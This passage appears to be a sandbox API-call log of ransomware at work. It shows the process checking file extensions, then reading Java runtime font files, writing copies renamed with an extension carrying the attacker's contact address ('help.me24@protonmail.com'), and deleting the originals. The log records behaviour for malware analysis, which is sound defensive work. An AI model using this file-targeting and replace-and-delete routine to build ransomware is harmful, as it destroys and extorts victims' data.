	[0191.637] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0191.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.637] lstrlenW (lpString=".zip") returned 4
	[0191.637] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0191.637] lstrlenW (lpString=".rar") returned 4
	[0191.638] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0191.638] lstrlenW (lpString=".bz2") returned 4
	[0191.638] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0191.638] lstrlenW (lpString=".7z") returned 3
	[0191.638] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0191.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.638] lstrlenW (lpString=".dbf") returned 4
	[0191.638] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0191.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.638] lstrlenW (lpString=".1cd") returned 4
	[0191.638] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0191.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.638] lstrlenW (lpString=".jpg") returned 4
	[0191.638] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0191.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.638] lstrlenW (lpString=".doc") returned 4
	[0191.638] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0191.638] lstrlenW (lpString=".docx") returned 5
	[0191.638] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0191.638] lstrlenW (lpString=".pdf") returned 4
	[0191.638] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0191.638] lstrlenW (lpString=".xls") returned 4
	[0191.638] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0191.638] lstrlenW (lpString=".xlsx") returned 5
	[0191.638] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0191.638] lstrlenW (lpString=".ppt") returned 4
	[0191.638] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0191.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.639] lstrlenW (lpString=".zip") returned 4
	[0191.639] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0191.639] lstrlenW (lpString=".rar") returned 4
	[0191.639] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0191.639] lstrlenW (lpString=".bz2") returned 4
	[0191.639] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0191.639] lstrlenW (lpString=".7z") returned 3
	[0191.639] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0191.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.639] lstrlenW (lpString=".dbf") returned 4
	[0191.639] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0191.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.639] lstrlenW (lpString=".1cd") returned 4
	[0191.639] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0191.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.639] lstrlenW (lpString=".jpg") returned 4
	[0191.639] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0191.639] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0191.639] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24
	[0191.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.640] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=75144) returned 1
	[0191.640] CloseHandle (hObject=0x37c) returned 1
	[0191.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20
	[0191.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.640] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.640] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.640] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.640] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.640] GetLastError () returned 0x0
	[0191.640] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x12588, lpOverlapped=0x0) returned 1
	[0191.821] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x12590, lpOverlapped=0x0) returned 1
	[0191.824] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.824] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x104, lpOverlapped=0x0) returned 1
	[0191.824] SetEndOfFile (hFile=0x378) returned 1
	[0191.824] CloseHandle (hObject=0x378) returned 1
	[0191.824] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.824] SetEndOfFile (hFile=0x37c) returned 1
	[0191.826] CloseHandle (hObject=0x37c) returned 1
	[0191.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.826] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1
	[0191.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.826] lstrlenW (lpString=".doc") returned 4
	[0191.827] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0191.827] lstrlenW (lpString=".docx") returned 5
	[0191.827] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0191.827] lstrlenW (lpString=".pdf") returned 4
	[0191.827] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0191.827] lstrlenW (lpString=".xls") returned 4
	[0191.827] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0191.827] lstrlenW (lpString=".xlsx") returned 5
	[0191.827] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0191.827] lstrlenW (lpString=".ppt") returned 4
	[0191.827] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0191.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.827] lstrlenW (lpString=".zip") returned 4
	[0191.827] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0191.827] lstrlenW (lpString=".rar") returned 4
	[0191.827] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0191.827] lstrlenW (lpString=".bz2") returned 4
	[0191.827] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0191.827] lstrlenW (lpString=".7z") returned 3
	[0191.827] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0191.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.827] lstrlenW (lpString=".dbf") returned 4
	[0191.827] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0191.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.827] lstrlenW (lpString=".1cd") returned 4
	[0191.827] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0191.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.827] lstrlenW (lpString=".jpg") returned 4
	[0191.827] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0191.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.828] lstrlenW (lpString=".doc") returned 4
	[0191.828] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0191.828] lstrlenW (lpString=".docx") returned 5
	[0191.828] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0191.828] lstrlenW (lpString=".pdf") returned 4
	[0191.828] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0191.828] lstrlenW (lpString=".xls") returned 4
	[0191.828] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0191.828] lstrlenW (lpString=".xlsx") returned 5
	[0191.828] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0191.828] lstrlenW (lpString=".ppt") returned 4
	[0191.828] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0191.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.828] lstrlenW (lpString=".zip") returned 4
	[0191.828] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0191.828] lstrlenW (lpString=".rar") returned 4
	[0191.828] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0191.828] lstrlenW (lpString=".bz2") returned 4
	[0191.828] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0191.828] lstrlenW (lpString=".7z") returned 3
	[0191.828] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0191.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.828] lstrlenW (lpString=".dbf") returned 4
	[0191.828] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0191.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.828] lstrlenW (lpString=".1cd") returned 4
	[0191.828] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0191.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0191.828] lstrlenW (lpString=".jpg") returned 4
	[0191.828] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0191.828] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0191.829] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22
	[0191.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.829] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=317896) returned 1
	[0191.829] CloseHandle (hObject=0x37c) returned 1
	[0191.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20
	[0191.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.829] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.829] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.830] GetLastError () returned 0x0
	[0191.830] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x4d9c8, lpOverlapped=0x0) returned 1
	[0191.834] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x4d9d0, lpOverlapped=0x0) returned 1
	[0191.841] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.841] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x100, lpOverlapped=0x0) returned 1
	[0191.841] SetEndOfFile (hFile=0x378) returned 1
	[0191.841] CloseHandle (hObject=0x378) returned 1
	[0191.841] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.841] SetEndOfFile (hFile=0x37c) returned 1
	[0191.845] CloseHandle (hObject=0x37c) returned 1
	[0191.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.845] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1
	[0191.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.846] lstrlenW (lpString=".doc") returned 4
	[0191.846] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0191.846] lstrlenW (lpString=".docx") returned 5
	[0191.846] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0191.846] lstrlenW (lpString=".pdf") returned 4
	[0191.846] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0191.846] lstrlenW (lpString=".xls") returned 4
	[0191.846] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0191.846] lstrlenW (lpString=".xlsx") returned 5
	[0191.846] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0191.846] lstrlenW (lpString=".ppt") returned 4
	[0191.846] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0191.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.846] lstrlenW (lpString=".zip") returned 4
	[0191.846] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0191.846] lstrlenW (lpString=".rar") returned 4
	[0191.846] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0191.846] lstrlenW (lpString=".bz2") returned 4
	[0191.846] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0191.847] lstrlenW (lpString=".7z") returned 3
	[0191.847] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0191.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.847] lstrlenW (lpString=".dbf") returned 4
	[0191.847] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0191.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.847] lstrlenW (lpString=".1cd") returned 4
	[0191.847] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0191.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.847] lstrlenW (lpString=".jpg") returned 4
	[0191.847] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0191.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.847] lstrlenW (lpString=".doc") returned 4
	[0191.847] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0191.847] lstrlenW (lpString=".docx") returned 5
	[0191.847] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0191.847] lstrlenW (lpString=".pdf") returned 4
	[0191.847] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0191.847] lstrlenW (lpString=".xls") returned 4
	[0191.847] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0191.847] lstrlenW (lpString=".xlsx") returned 5
	[0191.847] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0191.847] lstrlenW (lpString=".ppt") returned 4
	[0191.847] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0191.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.847] lstrlenW (lpString=".zip") returned 4
	[0191.848] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0191.848] lstrlenW (lpString=".rar") returned 4
	[0191.848] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0191.848] lstrlenW (lpString=".bz2") returned 4
	[0191.848] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0191.848] lstrlenW (lpString=".7z") returned 3
	[0191.848] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0191.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.848] lstrlenW (lpString=".dbf") returned 4
	[0191.848] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0191.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.848] lstrlenW (lpString=".1cd") returned 4
	[0191.848] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0191.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0191.848] lstrlenW (lpString=".jpg") returned 4
	[0191.848] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0191.848] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0191.848] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21
	[0191.848] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.849] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=698236) returned 1
	[0191.849] CloseHandle (hObject=0x37c) returned 1
	[0191.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20
	[0191.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.849] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.849] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.849] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.849] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.850] GetLastError () returned 0x0
	[0191.850] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0xaa77c, lpOverlapped=0x0) returned 1
	[0192.228] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0xaa780, lpOverlapped=0x0) returned 1
	[0193.088] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 0
	[0193.089] CloseHandle (hObject=0x378) returned 1
	[0193.090] CloseHandle (hObject=0x37c) returned 1
	[0193.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.090] lstrlenW (lpString=".doc") returned 4
	[0193.090] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0193.090] lstrlenW (lpString=".docx") returned 5
	[0193.090] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0193.090] lstrlenW (lpString=".pdf") returned 4
	[0193.090] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0193.090] lstrlenW (lpString=".xls") returned 4
	[0193.090] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0193.090] lstrlenW (lpString=".xlsx") returned 5
	[0193.090] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0193.090] lstrlenW (lpString=".ppt") returned 4
	[0193.090] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0193.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.090] lstrlenW (lpString=".zip") returned 4
	[0193.090] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0193.090] lstrlenW (lpString=".rar") returned 4
	[0193.090] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0193.091] lstrlenW (lpString=".bz2") returned 4
	[0193.091] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0193.091] lstrlenW (lpString=".7z") returned 3
	[0193.091] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
